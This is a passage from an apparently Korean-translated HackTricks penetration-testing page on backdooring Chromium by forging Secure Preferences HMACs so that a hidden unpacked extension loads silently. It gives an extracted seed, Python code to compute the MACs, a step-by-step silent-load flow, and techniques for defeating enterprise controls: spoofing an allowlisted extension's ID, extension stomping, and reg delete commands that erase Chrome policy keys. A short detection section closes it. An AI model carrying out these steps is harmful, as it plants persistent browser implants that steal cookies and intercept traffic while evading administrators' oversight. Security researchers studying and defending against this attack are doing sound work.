Chromium는 각 노드의 "path" + 직렬화된 JSON 값에 대해 HMAC‑SHA256을 적용해 preferences를 보호한다. HMAC 시드는 브라우저의 resources.pak에 내장되어 있으며 Chromium 139까지 유효했다.
|
||||
|
||||
GRIT pak_util로 시드를 추출하고 시드 컨테이너(file id 146 in tested builds)를 찾아라:
|
||||
```bash
|
||||
python3 pak_util.py extract resources.pak -o resources_v139/
|
||||
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
|
||||
# compare a clean vs minimally modified resources.pak to spot the seed holder
|
||||
xxd -p resources_v139/146
|
||||
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
|
||||
```
|
||||
MACs (대문자 16진수)를 다음과 같이 계산:
|
||||
```text
|
||||
ext_mac = HMAC_SHA256(seed,
|
||||
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
|
||||
|
||||
devmode_mac = HMAC_SHA256(seed,
|
||||
"extensions.ui.developer_mode" + ("true" or "false"))
|
||||
```
|
||||
간단한 Python 예제:
|
||||
```python
|
||||
import json, hmac, hashlib
|
||||
|
||||
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
|
||||
seed = bytes.fromhex(seed_hex)
|
||||
# Compact JSON to match Chromium serialization closely
|
||||
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
|
||||
msg = (pref_path + val).encode('utf-8')
|
||||
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
|
||||
|
||||
# Example usage
|
||||
settings_path = f"extensions.settings.{crx_id}"
|
||||
devmode_path = "extensions.ui.developer_mode"
|
||||
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
|
||||
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
|
||||
```
|
||||
Write the values under:
|
||||
- protection.macs.extensions.settings.<crx_id> = ext_mac
|
||||
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
|
||||
|
||||
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
|
||||
|
||||
> 구현 팁
|
||||
> - Chromium이 MAC을 계산할 때 사용하는 JSON 직렬화를 정확히 사용하세요(실무에서는 공백 없는 compact JSON이 안전합니다; 키 정렬은 순서 문제 회피에 도움이 될 수 있습니다).
|
||||
> - Chromium ≥134에서는 extensions.ui.developer_mode가 존재하고 서명되어 있어야 하며, 그렇지 않으면 unpacked 항목이 활성화되지 않습니다.
|
||||
|
||||
## End‑to‑end silent load flow (Windows)
|
||||
|
||||
1) 결정론적 ID를 생성하고 manifest.json에 "key"를 삽입하세요; 원하는 권한(service worker/content scripts)을 가진 unpacked MV3 확장팩을 준비합니다.
|
||||
2) manifest와 Chromium이 요구하는 최소 설치 메타데이터(state, path for unpacked, etc.)를 포함하여 extensions.settings.<id>를 생성합니다.
|
||||
3) resources.pak (file 146)에서 HMAC seed를 추출하고 두 개의 MAC를 계산합니다: 하나는 settings 노드용, 다른 하나는 extensions.ui.developer_mode용 (Chromium ≥134).
|
||||
4) 조작한 노드와 MAC들을 대상 프로필의 Preferences/Secure Preferences에 기록하세요; 다음 실행 시 선언된 모든 권한으로 확장팩이 자동 활성화됩니다.
|
||||
|
||||
## Bypassing enterprise controls
|
||||
|
||||
- Whitelisted extension hash spoofing (ID spoofing)
|
||||
1) Install an allowed Web Store extension and note its ID
|
||||
2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
|
||||
3) Set that key as manifest.key in your modified extension to reproduce the same ID
|
||||
4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
|
||||
|
||||
- Extension stomping (ID collision precedence)
|
||||
- If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
|
||||
|
||||
- Neutralizing GPO via HKCU (requires admin)
|
||||
- Chrome/Edge policies live under HKCU\Software\Policies\*
|
||||
- With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
|
||||
```powershell
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
|
||||
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
|
||||
```
|
||||
## 노이즈가 많은 대체 방법: 명령줄 로딩
|
||||
|
||||
Chromium ≥137부터, --load-extension은 다음도 함께 전달해야 합니다:
|
||||
```text
|
||||
--disable-features=DisableLoadExtensionCommandLineSwitch
|
||||
```
|
||||
이 접근법은 널리 알려져 있으며 모니터링됩니다(예: EDR/DFIR; Chromeloader 같은 commodity malware에서 사용됨). Preference MAC forging은 더 은밀합니다.
|
||||
|
||||
Related flags and more cross‑platform tricks are discussed here:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## 운영 영향
|
||||
|
||||
일단 수락되면, 확장 프로그램은 선언된 권한으로 실행되어 DOM 접근, 요청 가로채기/리디렉션, 쿠키/스토리지 접근 및 스크린샷 캡처를 가능하게 합니다 — 사실상 브라우저 내 코드 실행과 영구적인 사용자 프로필 유지가 이루어집니다. Preferences를 통한 활성화가 데이터 기반으로 이루어지기 때문에 SMB 또는 기타 채널을 통한 원격 배포도 간단합니다.
|
||||
|
||||
|
||||
## 탐지 및 강화
|
||||
|
||||
- Preferences/Secure Preferences에 쓰기 작업을 수행하는 non‑Chromium 프로세스를 모니터링하세요, 특히 protection.macs 엔트리와 짝을 이루는 extensions.settings 아래의 새로운 노드들
|
||||
- extensions.ui.developer_mode의 예기치 않은 토글과 HMAC 유효하지만 승인되지 않은 확장 항목에 대해 경보를 생성하세요
|
||||
- 변조 여부를 확인하기 위해 HKCU/HKLM Software\Policies를 감사하세요; 장치 관리/Chrome Browser Cloud Management를 통해 정책을 강제하세요
|
||||
- 확장 ID만으로 일치시키는 allowlists보다 검증된 퍼블리셔의 스토어에서의 forced‑install을 선호하세요
|
||||
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
|
||||
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
|
||||
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
|
||||
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user